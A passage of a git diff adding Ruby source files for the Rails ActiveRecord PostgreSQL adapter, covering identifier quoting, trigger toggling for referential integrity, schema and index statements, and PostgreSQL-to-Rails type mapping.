+ "#{quote_column_name(schema)}.#{quote_column_name(table_name)}"
+ end
+ end
+
+ def quote_table_name_for_assignment(table, attr)
+ quote_column_name(attr)
+ end
+
+ # Quotes column names for use in SQL queries.
+ def quote_column_name(name) #:nodoc:
+ PGconn.quote_ident(name.to_s)
+ end
+
+ # Quote date/time values for use in SQL input. Includes microseconds
+ # if the value is a Time responding to usec.
+ def quoted_date(value) #:nodoc:
+ result = super
+ if value.acts_like?(:time) && value.respond_to?(:usec)
+ result = "#{result}.#{sprintf("%06d", value.usec)}"
+ end
+
+ if value.year < 0
+ result = result.sub(/^-/, "") + " BC"
+ end
+ result
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb b/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb
new file mode 100644
index 0000000..bc77539
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb
@@ -0,0 +1,30 @@
+module ActiveRecord
+ module ConnectionAdapters
+ class PostgreSQLAdapter < AbstractAdapter
+ module ReferentialIntegrity
+ def supports_disable_referential_integrity? #:nodoc:
+ true
+ end
+
+ def disable_referential_integrity #:nodoc:
+ if supports_disable_referential_integrity?
+ begin
+ execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} DISABLE TRIGGER ALL" }.join(";"))
+ rescue
+ execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} DISABLE TRIGGER USER" }.join(";"))
+ end
+ end
+ yield
+ ensure
+ if supports_disable_referential_integrity?
+ begin
+ execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} ENABLE TRIGGER ALL" }.join(";"))
+ rescue
+ execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} ENABLE TRIGGER USER" }.join(";"))
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
new file mode 100644
index 0000000..d9b807b
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
@@ -0,0 +1,489 @@
+module ActiveRecord
+ module ConnectionAdapters
+ class PostgreSQLAdapter < AbstractAdapter
+ class SchemaCreation < AbstractAdapter::SchemaCreation
+ private
+
+ def visit_AddColumn(o)
+ sql_type = type_to_sql(o.type.to_sym, o.limit, o.precision, o.scale)
+ sql = "ADD COLUMN #{quote_column_name(o.name)} #{sql_type}"
+ add_column_options!(sql, column_options(o))
+ end
+
+ def visit_ColumnDefinition(o)
+ sql = super
+ if o.primary_key? && o.type == :uuid
+ sql << " PRIMARY KEY "
+ add_column_options!(sql, column_options(o))
+ end
+ sql
+ end
+
+ def add_column_options!(sql, options)
+ if options[:array] || options[:column].try(:array)
+ sql << '[]'
+ end
+
+ column = options.fetch(:column) { return super }
+ if column.type == :uuid && options[:default] =~ /\(\)/
+ sql << " DEFAULT #{options[:default]}"
+ else
+ super
+ end
+ end
+ end
+
+ def schema_creation
+ SchemaCreation.new self
+ end
+
+ module SchemaStatements
+ # Drops the database specified on the +name+ attribute
+ # and creates it again using the provided +options+.
+ def recreate_database(name, options = {}) #:nodoc:
+ drop_database(name)
+ create_database(name, options)
+ end
+
+ # Create a new PostgreSQL database. Options include <tt>:owner</tt>, <tt>:template</tt>,
+ # <tt>:encoding</tt>, <tt>:collation</tt>, <tt>:ctype</tt>,
+ # <tt>:tablespace</tt>, and <tt>:connection_limit</tt> (note that MySQL uses
+ # <tt>:charset</tt> while PostgreSQL uses <tt>:encoding</tt>).
+ #
+ # Example:
+ # create_database config[:database], config
+ # create_database 'foo_development', encoding: 'unicode'
+ def create_database(name, options = {})
+ options = { encoding: 'utf8' }.merge!(options.symbolize_keys)
+
+ option_string = options.sum do |key, value|
+ case key
+ when :owner
+ " OWNER = \"#{value}\""
+ when :template
+ " TEMPLATE = \"#{value}\""
+ when :encoding
+ " ENCODING = '#{value}'"
+ when :collation
+ " LC_COLLATE = '#{value}'"
+ when :ctype
+ " LC_CTYPE = '#{value}'"
+ when :tablespace
+ " TABLESPACE = \"#{value}\""
+ when :connection_limit
+ " CONNECTION LIMIT = #{value}"
+ else
+ ""
+ end
+ end
+
+ execute "CREATE DATABASE #{quote_table_name(name)}#{option_string}"
+ end
+
+ # Drops a PostgreSQL database.
+ #
+ # Example:
+ # drop_database 'matt_development'
+ def drop_database(name) #:nodoc:
+ execute "DROP DATABASE IF EXISTS #{quote_table_name(name)}"
+ end
+
+ # Returns the list of all tables in the schema search path or a specified schema.
+ def tables(name = nil)
+ query(<<-SQL, 'SCHEMA').map { |row| row[0] }
+ SELECT tablename
+ FROM pg_tables
+ WHERE schemaname = ANY (current_schemas(false))
+ SQL
+ end
+
+ # Returns true if table exists.
+ # If the schema is not specified as part of +name+ then it will only find tables within
+ # the current schema search path (regardless of permissions to access tables in other schemas)
+ def table_exists?(name)
+ schema, table = Utils.extract_schema_and_table(name.to_s)
+ return false unless table
+
+ binds = [[nil, table]]
+ binds << [nil, schema] if schema
+
+ exec_query(<<-SQL, 'SCHEMA').rows.first[0].to_i > 0
+ SELECT COUNT(*)
+ FROM pg_class c
+ LEFT JOIN pg_namespace n ON n.oid = c.relnamespace
+ WHERE c.relkind in ('v','r')
+ AND c.relname = '#{table.gsub(/(^"|"$)/,'')}'
+ AND n.nspname = #{schema ? "'#{schema}'" : 'ANY (current_schemas(false))'}
+ SQL
+ end
+
+ # Returns true if schema exists.
+ def schema_exists?(name)
+ exec_query(<<-SQL, 'SCHEMA').rows.first[0].to_i > 0
+ SELECT COUNT(*)
+ FROM pg_namespace
+ WHERE nspname = '#{name}'
+ SQL
+ end
+
+ # Returns an array of indexes for the given table.
+ def indexes(table_name, name = nil)
+ result = query(<<-SQL, 'SCHEMA')
+ SELECT distinct i.relname, d.indisunique, d.indkey, pg_get_indexdef(d.indexrelid), t.oid
+ FROM pg_class t
+ INNER JOIN pg_index d ON t.oid = d.indrelid
+ INNER JOIN pg_class i ON d.indexrelid = i.oid
+ WHERE i.relkind = 'i'
+ AND d.indisprimary = 'f'
+ AND t.relname = '#{table_name}'
+ AND i.relnamespace IN (SELECT oid FROM pg_namespace WHERE nspname = ANY (current_schemas(false)) )
+ ORDER BY i.relname
+ SQL
+
+ result.map do |row|
+ index_name = row[0]
+ unique = row[1] == 't'
+ indkey = row[2].split(" ")
+ inddef = row[3]
+ oid = row[4]
+
+ columns = Hash[query(<<-SQL, "SCHEMA")]
+ SELECT a.attnum, a.attname
+ FROM pg_attribute a
+ WHERE a.attrelid = #{oid}
+ AND a.attnum IN (#{indkey.join(",")})
+ SQL
+
+ column_names = columns.values_at(*indkey).compact
+
+ unless column_names.empty?
+ # add info on sort order for columns (only desc order is explicitly specified, asc is the default)
+ desc_order_columns = inddef.scan(/(\w+) DESC/).flatten
+ orders = desc_order_columns.any? ? Hash[desc_order_columns.map {|order_column| [order_column, :desc]}] : {}
+ where = inddef.scan(/WHERE (.+)$/).flatten[0]
+ using = inddef.scan(/USING (.+?) /).flatten[0].to_sym
+
+ IndexDefinition.new(table_name, index_name, unique, column_names, [], orders, where, nil, using)
+ end
+ end.compact
+ end
+
+ # Returns the list of all column definitions for a table.
+ def columns(table_name)
+ # Limit, precision, and scale are all handled by the superclass.
+ column_definitions(table_name).map do |column_name, type, default, notnull, oid, fmod|
+ oid = OID::TYPE_MAP.fetch(oid.to_i, fmod.to_i) {
+ OID::Identity.new
+ }
+ PostgreSQLColumn.new(column_name, default, oid, type, notnull == 'f')
+ end
+ end
+
+ # Returns the current database name.
+ def current_database
+ query('select current_database()', 'SCHEMA')[0][0]
+ end
+
+ # Returns the current schema name.
+ def current_schema
+ query('SELECT current_schema', 'SCHEMA')[0][0]
+ end
+
+ # Returns the current database encoding format.
+ def encoding
+ query(<<-end_sql, 'SCHEMA')[0][0]
+ SELECT pg_encoding_to_char(pg_database.encoding) FROM pg_database
+ WHERE pg_database.datname LIKE '#{current_database}'
+ end_sql
+ end
+
+ # Returns the current database collation.
+ def collation
+ query(<<-end_sql, 'SCHEMA')[0][0]
+ SELECT pg_database.datcollate FROM pg_database WHERE pg_database.datname LIKE '#{current_database}'
+ end_sql
+ end
+
+ # Returns the current database ctype.
+ def ctype
+ query(<<-end_sql, 'SCHEMA')[0][0]
+ SELECT pg_database.datctype FROM pg_database WHERE pg_database.datname LIKE '#{current_database}'
+ end_sql
+ end
+
+ # Returns an array of schema names.
+ def schema_names
+ query(<<-SQL, 'SCHEMA').flatten
+ SELECT nspname
+ FROM pg_namespace
+ WHERE nspname !~ '^pg_.*'
+ AND nspname NOT IN ('information_schema')
+ ORDER by nspname;
+ SQL
+ end
+
+ # Creates a schema for the given schema name.
+ def create_schema schema_name
+ execute "CREATE SCHEMA #{schema_name}"
+ end
+
+ # Drops the schema for the given schema name.
+ def drop_schema schema_name
+ execute "DROP SCHEMA #{schema_name} CASCADE"
+ end
+
+ # Sets the schema search path to a string of comma-separated schema names.
+ # Names beginning with $ have to be quoted (e.g. $user => '$user').
+ # See: http://www.postgresql.org/docs/current/static/ddl-schemas.html
+ #
+ # This should be not be called manually but set in database.yml.
+ def schema_search_path=(schema_csv)
+ if schema_csv
+ execute("SET search_path TO #{schema_csv}", 'SCHEMA')
+ @schema_search_path = schema_csv
+ end
+ end
+
+ # Returns the active schema search path.
+ def schema_search_path
+ @schema_search_path ||= query('SHOW search_path', 'SCHEMA')[0][0]
+ end
+
+ # Returns the current client message level.
+ def client_min_messages
+ query('SHOW client_min_messages', 'SCHEMA')[0][0]
+ end
+
+ # Set the client message level.
+ def client_min_messages=(level)
+ execute("SET client_min_messages TO '#{level}'", 'SCHEMA')
+ end
+
+ # Returns the sequence name for a table's primary key or some other specified key.
+ def default_sequence_name(table_name, pk = nil) #:nodoc:
+ result = serial_sequence(table_name, pk || 'id')
+ return nil unless result
+ result.split('.').last
+ rescue ActiveRecord::StatementInvalid
+ "#{table_name}_#{pk || 'id'}_seq"
+ end
+
+ def serial_sequence(table, column)
+ result = exec_query(<<-eosql, 'SCHEMA')
+ SELECT pg_get_serial_sequence('#{table}', '#{column}')
+ eosql
+ result.rows.first.first
+ end
+
+ # Resets the sequence of a table's primary key to the maximum value.
+ def reset_pk_sequence!(table, pk = nil, sequence = nil) #:nodoc:
+ unless pk and sequence
+ default_pk, default_sequence = pk_and_sequence_for(table)
+
+ pk ||= default_pk
+ sequence ||= default_sequence
+ end
+
+ if @logger && pk && !sequence
+ @logger.warn "#{table} has primary key #{pk} with no default sequence"
+ end
+
+ if pk && sequence
+ quoted_sequence = quote_table_name(sequence)
+
+ select_value <<-end_sql, 'SCHEMA'
+ SELECT setval('#{quoted_sequence}', (SELECT COALESCE(MAX(#{quote_column_name pk})+(SELECT increment_by FROM #{quoted_sequence}), (SELECT min_value FROM #{quoted_sequence})) FROM #{quote_table_name(table)}), false)
+ end_sql
+ end
+ end
+
+ # Returns a table's primary key and belonging sequence.
+ def pk_and_sequence_for(table) #:nodoc:
+ # First try looking for a sequence with a dependency on the
+ # given table's primary key.
+ result = query(<<-end_sql, 'SCHEMA')[0]
+ SELECT attr.attname, seq.relname
+ FROM pg_class seq,
+ pg_attribute attr,
+ pg_depend dep,
+ pg_constraint cons
+ WHERE seq.oid = dep.objid
+ AND seq.relkind = 'S'
+ AND attr.attrelid = dep.refobjid
+ AND attr.attnum = dep.refobjsubid
+ AND attr.attrelid = cons.conrelid
+ AND attr.attnum = cons.conkey[1]
+ AND cons.contype = 'p'
+ AND dep.refobjid = '#{quote_table_name(table)}'::regclass
+ end_sql
+
+ if result.nil? or result.empty?
+ result = query(<<-end_sql, 'SCHEMA')[0]
+ SELECT attr.attname,
+ CASE
+ WHEN split_part(pg_get_expr(def.adbin, def.adrelid), '''', 2) ~ '.' THEN
+ substr(split_part(pg_get_expr(def.adbin, def.adrelid), '''', 2),
+ strpos(split_part(pg_get_expr(def.adbin, def.adrelid), '''', 2), '.')+1)
+ ELSE split_part(pg_get_expr(def.adbin, def.adrelid), '''', 2)
+ END
+ FROM pg_class t
+ JOIN pg_attribute attr ON (t.oid = attrelid)
+ JOIN pg_attrdef def ON (adrelid = attrelid AND adnum = attnum)
+ JOIN pg_constraint cons ON (conrelid = adrelid AND adnum = conkey[1])
+ WHERE t.oid = '#{quote_table_name(table)}'::regclass
+ AND cons.contype = 'p'
+ AND pg_get_expr(def.adbin, def.adrelid) ~* 'nextval'
+ end_sql
+ end
+
+ [result.first, result.last]
+ rescue
+ nil
+ end
+
+ # Returns just a table's primary key
+ def primary_key(table)
+ row = exec_query(<<-end_sql, 'SCHEMA').rows.first
+ SELECT attr.attname
+ FROM pg_attribute attr
+ INNER JOIN pg_constraint cons ON attr.attrelid = cons.conrelid AND attr.attnum = cons.conkey[1]
+ WHERE cons.contype = 'p'
+ AND cons.conrelid = '#{quote_table_name(table)}'::regclass
+ end_sql
+
+ row && row.first
+ end
+
+ # Renames a table.
+ # Also renames a table's primary key sequence if the sequence name matches the
+ # Active Record default.
+ #
+ # Example:
+ # rename_table('octopuses', 'octopi')
+ def rename_table(table_name, new_name)
+ clear_cache!
+ execute "ALTER TABLE #{quote_table_name(table_name)} RENAME TO #{quote_table_name(new_name)}"
+ pk, seq = pk_and_sequence_for(new_name)
+ if seq == "#{table_name}_#{pk}_seq"
+ new_seq = "#{new_name}_#{pk}_seq"
+ execute "ALTER TABLE #{quote_table_name(seq)} RENAME TO #{quote_table_name(new_seq)}"
+ end
+
+ rename_table_indexes(table_name, new_name)
+ end
+
+ # Adds a new column to the named table.
+ # See TableDefinition#column for details of the options you can use.
+ def add_column(table_name, column_name, type, options = {})
+ clear_cache!
+ super
+ end
+
+ # Changes the column of a table.
+ def change_column(table_name, column_name, type, options = {})
+ clear_cache!
+ quoted_table_name = quote_table_name(table_name)
+
+ execute "ALTER TABLE #{quoted_table_name} ALTER COLUMN #{quote_column_name(column_name)} TYPE #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
+
+ change_column_default(table_name, column_name, options[:default]) if options_include_default?(options)
+ change_column_null(table_name, column_name, options[:null], options[:default]) if options.key?(:null)
+ end
+
+ # Changes the default value of a table column.
+ def change_column_default(table_name, column_name, default)
+ clear_cache!
+ execute "ALTER TABLE #{quote_table_name(table_name)} ALTER COLUMN #{quote_column_name(column_name)} SET DEFAULT #{quote(default)}"
+ end
+
+ def change_column_null(table_name, column_name, null, default = nil)
+ clear_cache!
+ unless null || default.nil?
+ execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
+ end
+ execute("ALTER TABLE #{quote_table_name(table_name)} ALTER #{quote_column_name(column_name)} #{null ? 'DROP' : 'SET'} NOT NULL")
+ end
+
+ # Renames a column in a table.
+ def rename_column(table_name, column_name, new_column_name)
+ clear_cache!
+ execute "ALTER TABLE #{quote_table_name(table_name)} RENAME COLUMN #{quote_column_name(column_name)} TO #{quote_column_name(new_column_name)}"
+ rename_column_indexes(table_name, column_name, new_column_name)
+ end
+
+ def add_index(table_name, column_name, options = {}) #:nodoc:
+ index_name, index_type, index_columns, index_options, index_algorithm, index_using = add_index_options(table_name, column_name, options)
+ execute "CREATE #{index_type} INDEX #{index_algorithm} #{quote_column_name(index_name)} ON #{quote_table_name(table_name)} #{index_using} (#{index_columns})#{index_options}"
+ end
+
+ def remove_index!(table_name, index_name) #:nodoc:
+ execute "DROP INDEX #{quote_table_name(index_name)}"
+ end
+
+ def rename_index(table_name, old_name, new_name)
+ execute "ALTER INDEX #{quote_column_name(old_name)} RENAME TO #{quote_table_name(new_name)}"
+ end
+
+ def index_name_length
+ 63
+ end
+
+ # Maps logical Rails types to PostgreSQL-specific data types.
+ def type_to_sql(type, limit = nil, precision = nil, scale = nil)
+ case type.to_s
+ when 'binary'
+ # PostgreSQL doesn't support limits on binary (bytea) columns.
+ # The hard limit is 1Gb, because of a 32-bit size field, and TOAST.
+ case limit
+ when nil, 0..0x3fffffff; super(type)
+ else raise(ActiveRecordError, "No binary type has byte size #{limit}.")
+ end
+ when 'text'
+ # PostgreSQL doesn't support limits on text columns.
+ # The hard limit is 1Gb, according to section 8.3 in the manual.
+ case limit
+ when nil, 0..0x3fffffff; super(type)
+ else raise(ActiveRecordError, "The limit on text can be at most 1GB - 1byte.")
+ end
+ when 'integer'
+ return 'integer' unless limit
+
+ case limit
+ when 1, 2; 'smallint'
+ when 3, 4; 'integer'
+ when 5..8; 'bigint'
+ else raise(ActiveRecordError, "No integer type has byte size #{limit}. Use a numeric with precision 0 instead.")
+ end
+ when 'datetime'
+ return super unless precision
+
+ case precision
+ when 0..6; "timestamp(#{precision})"
+ else raise(ActiveRecordError, "No timestamp type has precision of #{precision}. The allowed range of precision is from 0 to 6")
+ end
+ else
+ super
+ end
+ end
+
+ # Returns a SELECT DISTINCT clause for a given set of columns and a given ORDER BY clause.
+ #
+ # PostgreSQL requires the ORDER BY columns in the select list for distinct queries, and
+ # requires that the ORDER BY include the distinct column.
+ #
+ # distinct("posts.id", ["posts.created_at desc"])
+ # # => "DISTINCT posts.id, posts.created_at AS alias_0"
+ def distinct(columns, orders) #:nodoc:
+ order_columns = orders.map{ |s|
+ # Convert Arel node to string
+ s = s.to_sql unless s.is_a?(String)
+ # Remove any ASC/DESC modifiers
+ s.gsub(/\s+(ASC|DESC)\s*(NULLS\s+(FIRST|LAST)\s*)?/i, '')
+ }.reject(&:blank?).map.with_index { |column, i| "#{column} AS alias_#{i}" }
+
+ [super].concat(order_columns).join(', ')
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
new file mode 100644
index 0000000..bf403c3
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
@@ -0,0 +1,921 @@
+require 'active_record/connection_adapters/abstract_adapter'
+require 'active_record/connection_adapters/statement_pool'
+require 'active_record/connection_adapters/postgresql/oid'
+require 'active_record/connection_adapters/postgresql/cast'
+require 'active_record/connection_adapters/postgresql/array_parser'
+require 'active_record/connection_adapters/postgresql/quoting'
+require 'active_record/connection_adapters/postgresql/schema_statements'
+require 'active_record/connection_adapters/postgresql/database_statements'
+require 'active_record/connection_adapters/postgresql/referential_integrity'
+require 'arel/visitors/bind_visitor'
+
+# Make sure we're using pg high enough for PGResult#values
+gem 'pg', '~> 0.11'
+require 'pg'
+
+require 'ipaddr'
+
+module ActiveRecord
+ module ConnectionHandling # :nodoc:
+ VALID_CONN_PARAMS = [:host, :hostaddr, :port, :dbname, :user, :password, :connect_timeout,
+ :client_encoding, :options, :application_name, :fallback_application_name,
+ :keepalives, :keepalives_idle, :keepalives_interval, :keepalives_count,
+ :tty, :sslmode, :requiressl, :sslcert, :sslkey, :sslrootcert, :sslcrl,
+ :requirepeer, :krbsrvname, :gsslib, :service]
+
+ # Establishes a connection to the database that's used by all Active Record objects
+ def postgresql_connection(config)
+ conn_params = config.symbolize_keys
+
+ conn_params.delete_if { |_, v| v.nil? }
+
+ # Map ActiveRecords param names to PGs.
+ conn_params[:user] = conn_params.delete(:username) if conn_params[:username]
+ conn_params[:dbname] = conn_params.delete(:database) if conn_params[:database]
+
+ # Forward only valid config params to PGconn.connect.
+ conn_params.keep_if { |k, _| VALID_CONN_PARAMS.include?(k) }
+
+ # The postgres drivers don't allow the creation of an unconnected PGconn object,
+ # so just pass a nil connection object for the time being.
+ ConnectionAdapters::PostgreSQLAdapter.new(nil, logger, conn_params, config)
+ end
+ end
+
+ module ConnectionAdapters
+ # PostgreSQL-specific extensions to column definitions in a table.
+ class PostgreSQLColumn < Column #:nodoc:
+ attr_accessor :array
+ # Instantiates a new PostgreSQL column definition in a table.
+ def initialize(name, default, oid_type, sql_type = nil, null = true)
+ @oid_type = oid_type
+ if sql_type =~ /\[\]$/
+ @array = true
+ super(name, self.class.extract_value_from_default(default), sql_type[0..sql_type.length - 3], null)
+ else
+ @array = false
+ super(name, self.class.extract_value_from_default(default), sql_type, null)
+ end
+ end
+
+ # :stopdoc:
+ class << self
+ include ConnectionAdapters::PostgreSQLColumn::Cast
+ include ConnectionAdapters::PostgreSQLColumn::ArrayParser
+ attr_accessor :money_precision
+ end
+ # :startdoc:
+
+ # Extracts the value from a PostgreSQL column default definition.
+ def self.extract_value_from_default(default)
+ # This is a performance optimization for Ruby 1.9.2 in development.
+ # If the value is nil, we return nil straight away without checking
+ # the regular expressions. If we check each regular expression,
+ # Regexp#=== will call NilClass#to_str, which will trigger
+ # method_missing (defined by whiny nil in ActiveSupport) which
+ # makes this method very very slow.
+ return default unless default
+
+ case default
+ when /\A'(.*)'::(num|date|tstz|ts|int4|int8)range\z/m
+ $1
+ # Numeric types
+ when /\A\(?(-?\d+(\.\d*)?\)?(::bigint)?)\z/
+ $1
+ # Character types
+ when /\A\(?'(.*)'::.*\b(?:character varying|bpchar|text)\z/m
+ $1
+ # Binary data types
+ when /\A'(.*)'::bytea\z/m
+ $1
+ # Date/time types
+ when /\A'(.+)'::(?:time(?:stamp)? with(?:out)? time zone|date)\z/
+ $1
+ when /\A'(.*)'::interval\z/
+ $1
+ # Boolean type
+ when 'true'
+ true
+ when 'false'
+ false
+ # Geometric types
+ when /\A'(.*)'::(?:point|line|lseg|box|"?path"?|polygon|circle)\z/
+ $1
+ # Network address types
+ when /\A'(.*)'::(?:cidr|inet|macaddr)\z/
+ $1
+ # Bit string types
+ when /\AB'(.*)'::"?bit(?: varying)?"?\z/
+ $1
+ # XML type
+ when /\A'(.*)'::xml\z/m
+ $1
+ # Arrays
+ when /\A'(.*)'::"?\D+"?\[\]\z/
+ $1
+ # Hstore
+ when /\A'(.*)'::hstore\z/
+ $1
+ # JSON
+ when /\A'(.*)'::json\z/
+ $1
+ # Object identifier types
+ when /\A-?\d+\z/
+ $1
+ else
+ # Anything else is blank, some user type, or some function
+ # and we can't know the value of that, so return nil.
+ nil
+ end
+ end
+
+ def type_cast(value)
+ return if value.nil?
+ return super if encoded?
+
+ @oid_type.type_cast value
+ end
+
+ private
+
+ def extract_limit(sql_type)
+ case sql_type
+ when /^bigint/i; 8
+ when /^smallint/i; 2
+ when /^timestamp/i; nil
+ else super
+ end
+ end
+
+ # Extracts the scale from PostgreSQL-specific data types.
+ def extract_scale(sql_type)
+ # Money type has a fixed scale of 2.
+ sql_type =~ /^money/ ? 2 : super
+ end
+
+ # Extracts the precision from PostgreSQL-specific data types.
+ def extract_precision(sql_type)
+ if sql_type == 'money'
+ self.class.money_precision
+ elsif sql_type =~ /timestamp/i
+ $1.to_i if sql_type =~ /\((\d+)\)/
+ else
+ super
+ end
+ end
+
+ # Maps PostgreSQL-specific data types to logical Rails types.
+ def simplified_type(field_type)
+ case field_type
+ # Numeric and monetary types
+ when /^(?:real|double precision)$/
+ :float
+ # Monetary types
+ when 'money'
+ :decimal
+ when 'hstore'
+ :hstore
+ when 'ltree'
+ :ltree
+ # Network address types
+ when 'inet'
+ :inet
+ when 'cidr'
+ :cidr
+ when 'macaddr'
+ :macaddr
+ # Character types
+ when /^(?:character varying|bpchar)(?:\(\d+\))?$/
+ :string
+ # Binary data types
+ when 'bytea'
+ :binary
+ # Date/time types
+ when /^timestamp with(?:out)? time zone$/
+ :datetime
+ when /^interval(?:|\(\d+\))$/
+ :string
+ # Geometric types
+ when /^(?:point|line|lseg|box|"?path"?|polygon|circle)$/
+ :string
+ # Bit strings
+ when /^bit(?: varying)?(?:\(\d+\))?$/
+ :string
+ # XML type
+ when 'xml'
+ :xml
+ # tsvector type
+ when 'tsvector'
+ :tsvector
+ # Arrays
+ when /^\D+\[\]$/
+ :string
+ # Object identifier types
+ when 'oid'
+ :integer
+ # UUID type
+ when 'uuid'
+ :uuid
+ # JSON type
+ when 'json'
+ :json
+ # Small and big integer types
+ when /^(?:small|big)int$/
+ :integer
+ when /(num|date|tstz|ts|int4|int8)range$/
+ field_type.to_sym
+ # Pass through all types that are not specific to PostgreSQL.
+ else
+ super
+ end
+ end
+ end
+
+ # The PostgreSQL adapter works with the native C (https://bitbucket.org/ged/ruby-pg) driver.
+ #
+ # Options:
+ #
+ # * <tt>:host</tt> - Defaults to a Unix-domain socket in /tmp. On machines without Unix-domain sockets,
+ # the default is to connect to localhost.
+ # * <tt>:port</tt> - Defaults to 5432.
+ # * <tt>:username</tt> - Defaults to be the same as the operating system name of the user running the application.
+ # * <tt>:password</tt> - Password to be used if the server demands password authentication.
+ # * <tt>:database</tt> - Defaults to be the same as the user name.
+ # * <tt>:schema_search_path</tt> - An optional schema search path for the connection given
+ # as a string of comma-separated schema names. This is backward-compatible with the <tt>:schema_order</tt> option.
+ # * <tt>:encoding</tt> - An optional client encoding that is used in a <tt>SET client_encoding TO
+ # <encoding></tt> call on the connection.
+ # * <tt>:min_messages</tt> - An optional client min messages that is used in a
+ # <tt>SET client_min_messages TO <min_messages></tt> call on the connection.
+ # * <tt>:variables</tt> - An optional hash of additional parameters that
+ # will be used in <tt>SET SESSION key = val</tt> calls on the connection.
+ # * <tt>:insert_returning</tt> - An optional boolean to control the use or <tt>RETURNING</tt> for <tt>INSERT</tt> statements
+ # defaults to true.
+ #
+ # Any further options are used as connection parameters to libpq. See
+ # http://www.postgresql.org/docs/9.1/static/libpq-connect.html for the
+ # list of parameters.
+ #
+ # In addition, default connection parameters of libpq can be set per environment variables.
+ # See http://www.postgresql.org/docs/9.1/static/libpq-envars.html .
+ class PostgreSQLAdapter < AbstractAdapter
+ class ColumnDefinition < ActiveRecord::ConnectionAdapters::ColumnDefinition
+ attr_accessor :array
+ end
+
+ module ColumnMethods
+ def xml(*args)
+ options = args.extract_options!
+ column(args[0], 'xml', options)
+ end
+
+ def tsvector(*args)
+ options = args.extract_options!
+ column(args[0], 'tsvector', options)
+ end
+
+ def int4range(name, options = {})
+ column(name, 'int4range', options)
+ end
+
+ def int8range(name, options = {})
+ column(name, 'int8range', options)
+ end
+
+ def tsrange(name, options = {})
+ column(name, 'tsrange', options)
+ end
+
+ def tstzrange(name, options = {})
+ column(name, 'tstzrange', options)
+ end
+
+ def numrange(name, options = {})
+ column(name, 'numrange', options)
+ end
+
+ def daterange(name, options = {})
+ column(name, 'daterange', options)
+ end
+
+ def hstore(name, options = {})
+ column(name, 'hstore', options)
+ end
+
+ def ltree(name, options = {})
+ column(name, 'ltree', options)
+ end
+
+ def inet(name, options = {})
+ column(name, 'inet', options)
+ end
+
+ def cidr(name, options = {})
+ column(name, 'cidr', options)
+ end
+
+ def macaddr(name, options = {})
+ column(name, 'macaddr', options)
+ end
+
+ def uuid(name, options = {})
+ column(name, 'uuid', options)
+ end
+
+ def json(name, options = {})
+ column(name, 'json', options)
+ end
+ end
+
+ class TableDefinition < ActiveRecord::ConnectionAdapters::TableDefinition
+ include ColumnMethods
+
+ def primary_key(name, type = :primary_key, options = {})
+ return super unless type == :uuid
+ options[:default] ||= 'uuid_generate_v4()'
+ options[:primary_key] = true
+ column name, type, options
+ end
+
+ def column(name, type = nil, options = {})
+ super
+ column = self[name]
+ column.array = options[:array]
+
+ self
+ end
+
+ def xml(options = {})
+ column(args[0], :text, options)
+ end
+
+ private
+
+ def create_column_definition(name, type)
+ ColumnDefinition.new name, type
+ end
+ end
+
+ class Table < ActiveRecord::ConnectionAdapters::Table
+ include ColumnMethods
+ end
+
+ ADAPTER_NAME = 'PostgreSQL'
+
+ NATIVE_DATABASE_TYPES = {
+ primary_key: "serial primary key",
+ string: { name: "character varying", limit: 255 },
+ text: { name: "text" },
+ integer: { name: "integer" },
+ float: { name: "float" },
+ decimal: { name: "decimal" },
+ datetime: { name: "timestamp" },
+ timestamp: { name: "timestamp" },
+ time: { name: "time" },
+ date: { name: "date" },
+ daterange: { name: "daterange" },
+ numrange: { name: "numrange" },
+ tsrange: { name: "tsrange" },
+ tstzrange: { name: "tstzrange" },
+ int4range: { name: "int4range" },
+ int8range: { name: "int8range" },
+ binary: { name: "bytea" },
+ boolean: { name: "boolean" },
+ xml: { name: "xml" },
+ tsvector: { name: "tsvector" },
+ hstore: { name: "hstore" },
+ inet: { name: "inet" },
+ cidr: { name: "cidr" },
+ macaddr: { name: "macaddr" },
+ uuid: { name: "uuid" },
+ json: { name: "json" },
+ ltree: { name: "ltree" }
+ }
+
+ include Quoting
+ include ReferentialIntegrity
+ include SchemaStatements
+ include DatabaseStatements
+
+ # Returns 'PostgreSQL' as adapter name for identification purposes.
+ def adapter_name
+ ADAPTER_NAME
+ end
+
+ # Adds `:array` option to the default set provided by the
+ # AbstractAdapter
+ def prepare_column_options(column, types)
+ spec = super
+ spec[:array] = 'true' if column.respond_to?(:array) && column.array
+ spec
+ end
+
+ # Adds `:array` as a valid migration key
+ def migration_keys
+ super + [:array]
+ end
+
+ # Returns +true+, since this connection adapter supports prepared statement
+ # caching.
+ def supports_statement_cache?
+ true
+ end
+
+ def supports_index_sort_order?
+ true
+ end
+
+ def supports_partial_index?
+ true
+ end
+
+ def supports_transaction_isolation?
+ true
+ end
+
+ def index_algorithms
+ { concurrently: 'CONCURRENTLY' }
+ end
+
+ class StatementPool < ConnectionAdapters::StatementPool
+ def initialize(connection, max)
+ super
+ @counter = 0
+ @cache = Hash.new { |h,pid| h[pid] = {} }
+ end
+
+ def each(&block); cache.each(&block); end
+ def key?(key); cache.key?(key); end
+ def [](key); cache[key]; end
+ def length; cache.length; end
+
+ def next_key
+ "a#{@counter + 1}"
+ end
+
+ def []=(sql, key)
+ while @max <= cache.size
+ dealloc(cache.shift.last)
+ end
+ @counter += 1
+ cache[sql] = key
+ end
+
+ def clear
+ cache.each_value do |stmt_key|
+ dealloc stmt_key
+ end
+ cache.clear
